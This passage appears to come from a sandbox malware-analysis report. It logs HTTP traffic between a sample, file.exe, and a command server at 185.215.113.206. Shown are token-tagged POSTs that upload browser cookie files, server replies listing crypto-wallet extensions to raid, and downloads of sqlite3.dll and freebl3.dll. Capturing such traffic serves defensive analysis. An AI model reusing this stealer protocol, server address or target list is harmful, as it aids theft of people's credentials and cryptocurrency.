------GIJKKKFCFHCFIECBGDHIContent-Disposition: form-data; name="token"406fbb5fc17b149fbb24e8fd4af065c0f27dcc7f264e2e4a71d560563eed383cd3971498------GIJKKKFCFHCFIECBGDHIContent-Disposition: form-data; name="message"plugins------GIJKKKFCFHCFIECBGDHI--
Nov 21, 2024 22:04:27.674187899 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:27 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 21, 2024 22:04:27.674220085 CET	124	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1k
Nov 21, 2024 22:04:27.674235106 CET	1236	IN	Data Raw: 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 77 78 66 44 42 38 4d 48 78 54 62 32 Data Ascii: cG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2F
Nov 21, 2024 22:04:27.674259901 CET	1236	IN	Data Raw: 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 77 77 66 45 4e 35 59 57 35 76 49 46 Data Ascii: U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWN
Nov 21, 2024 22:04:27.674278021 CET	1236	IN	Data Raw: 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d 64 6a 61 6d 56 77 62 6d 68 70 59 6d Data Ascii: cGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFR
Nov 21, 2024 22:04:27.674295902 CET	1236	IN	Data Raw: 61 32 78 69 66 44 46 38 4d 48 77 77 66 45 4e 76 62 57 31 76 62 6b 74 6c 65 58 78 6a 61 47 64 6d 5a 57 5a 71 63 47 4e 76 59 6d 5a 69 62 6e 42 74 61 57 39 72 5a 6d 70 71 59 57 64 73 59 57 68 74 62 6d 52 6c 5a 48 77 78 66 44 42 38 4d 48 78 61 62 32 Data Ascii: a2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnB
Nov 21, 2024 22:04:27.682461023 CET	1040	IN	Data Raw: 4d 58 77 77 66 44 42 38 51 32 39 74 63 47 46 7a 63 79 42 58 59 57 78 73 5a 58 51 67 5a 6d 39 79 49 46 4e 6c 61 58 78 68 62 6d 39 72 5a 32 31 77 61 47 35 6a 63 47 56 72 61 32 68 6a 62 47 31 70 62 6d 64 77 61 57 31 71 62 57 4e 76 62 32 6c 6d 59 6e Data Ascii: MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20
Nov 21, 2024 22:04:27.685492039 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGHJKJKKJDHIDHJKJDBG Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 36 66 62 62 35 66 63 31 37 62 31 34 39 66 62 62 32 34 65 38 66 64 34 61 66 30 36 35 63 30 66 32 37 64 63 63 37 66 32 36 34 65 32 65 34 61 37 31 64 35 36 30 35 36 33 65 65 64 33 38 33 63 64 33 39 37 31 34 39 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 42 47 2d 2d 0d 0a Data Ascii: ------EGHJKJKKJDHIDHJKJDBGContent-Disposition: form-data; name="token"406fbb5fc17b149fbb24e8fd4af065c0f27dcc7f264e2e4a71d560563eed383cd3971498------EGHJKJKKJDHIDHJKJDBGContent-Disposition: form-data; name="message"fplugins------EGHJKJKKJDHIDHJKJDBG--
Nov 21, 2024 22:04:28.151078939 CET	335	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:27 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 21, 2024 22:04:28.172056913 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBFCFIEBKEGHIDGCAFBF Host: 185.215.113.206 Content-Length: 7555 Connection: Keep-Alive Cache-Control: no-cache
Nov 21, 2024 22:04:28.172128916 CET	7555	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 42 46 43 46 49 45 42 4b 45 47 48 49 44 47 43 41 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 36 66 62 62 Data Ascii: ------FBFCFIEBKEGHIDGCAFBFContent-Disposition: form-data; name="token"406fbb5fc17b149fbb24e8fd4af065c0f27dcc7f264e2e4a71d560563eed383cd3971498------FBFCFIEBKEGHIDGCAFBFContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 21, 2024 22:04:29.279261112 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 22:04:29.544569969 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 21, 2024 22:04:30.007611990 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:29 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 21, 2024 22:04:30.007698059 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 21, 2024 22:04:30.011708021 CET	448	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49778	185.215.113.206	80	7840	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 22:04:39.329952955 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCAEHDHDAKJEBGCBKKJE Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 48 44 48 44 41 4b 4a 45 42 47 43 42 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 36 66 62 62 35 66 63 31 37 62 31 34 39 66 62 62 32 34 65 38 66 64 34 61 66 30 36 35 63 30 66 32 37 64 63 63 37 66 32 36 34 65 32 65 34 61 37 31 64 35 36 30 35 36 33 65 65 64 33 38 33 63 64 33 39 37 31 34 39 38 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 44 48 44 41 4b 4a 45 42 47 43 42 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 44 48 44 41 4b 4a 45 42 47 43 42 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------HCAEHDHDAKJEBGCBKKJEContent-Disposition: form-data; name="token"406fbb5fc17b149fbb24e8fd4af065c0f27dcc7f264e2e4a71d560563eed383cd3971498------HCAEHDHDAKJEBGCBKKJEContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------HCAEHDHDAKJEBGCBKKJEContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------HCAEHDHDAKJEBGCBKKJE--
Nov 21, 2024 22:04:41.168504000 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 22:04:41.244292021 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIJJDGHJKKJEBFHJDBGH Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 4a 44 47 48 4a 4b 4b 4a 45 42 46 48 4a 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 36 66 62 62 35 66 63 31 37 62 31 34 39 66 62 62 32 34 65 38 66 64 34 61 66 30 36 35 63 30 66 32 37 64 63 63 37 66 32 36 34 65 32 65 34 61 37 31 64 35 36 30 35 36 33 65 65 64 33 38 33 63 64 33 39 37 31 34 39 38 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 4a 44 47 48 4a 4b 4b 4a 45 42 46 48 4a 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 4a 44 47 48 4a 4b 4b 4a 45 42 46 48 4a 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IIJJDGHJKKJEBFHJDBGHContent-Disposition: form-data; name="token"406fbb5fc17b149fbb24e8fd4af065c0f27dcc7f264e2e4a71d560563eed383cd3971498------IIJJDGHJKKJEBFHJDBGHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IIJJDGHJKKJEBFHJDBGHContent-Disposition: form-data; name="file"------IIJJDGHJKKJEBFHJDBGH--
Nov 21, 2024 22:04:42.200210094 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49819	185.215.113.206	80	7840	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 22:04:48.879148960 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHCBAAAFHJDHJJKEBGHI Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 21, 2024 22:04:48.879204988 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 36 66 62 62 Data Ascii: ------EHCBAAAFHJDHJJKEBGHIContent-Disposition: form-data; name="token"406fbb5fc17b149fbb24e8fd4af065c0f27dcc7f264e2e4a71d560563eed383cd3971498------EHCBAAAFHJDHJJKEBGHIContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 21, 2024 22:04:50.727214098 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 22:04:50.857642889 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBAEHCGHIIIDHIECFHJD Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 41 45 48 43 47 48 49 49 49 44 48 49 45 43 46 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 36 66 62 62 35 66 63 31 37 62 31 34 39 66 62 62 32 34 65 38 66 64 34 61 66 30 36 35 63 30 66 32 37 64 63 63 37 66 32 36 34 65 32 65 34 61 37 31 64 35 36 30 35 36 33 65 65 64 33 38 33 63 64 33 39 37 31 34 39 38 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 45 48 43 47 48 49 49 49 44 48 49 45 43 46 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 45 48 43 47 48 49 49 49 44 48 49 45 43 46 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DBAEHCGHIIIDHIECFHJDContent-Disposition: form-data; name="token"406fbb5fc17b149fbb24e8fd4af065c0f27dcc7f264e2e4a71d560563eed383cd3971498------DBAEHCGHIIIDHIECFHJDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DBAEHCGHIIIDHIECFHJDContent-Disposition: form-data; name="file"------DBAEHCGHIIIDHIECFHJD--
Nov 21, 2024 22:04:51.787663937 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 22:04:52.334235907 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 21, 2024 22:04:52.776407003 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:52 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 21, 2024 22:04:52.776480913 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 21, 2024 22:04:52.776494980 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
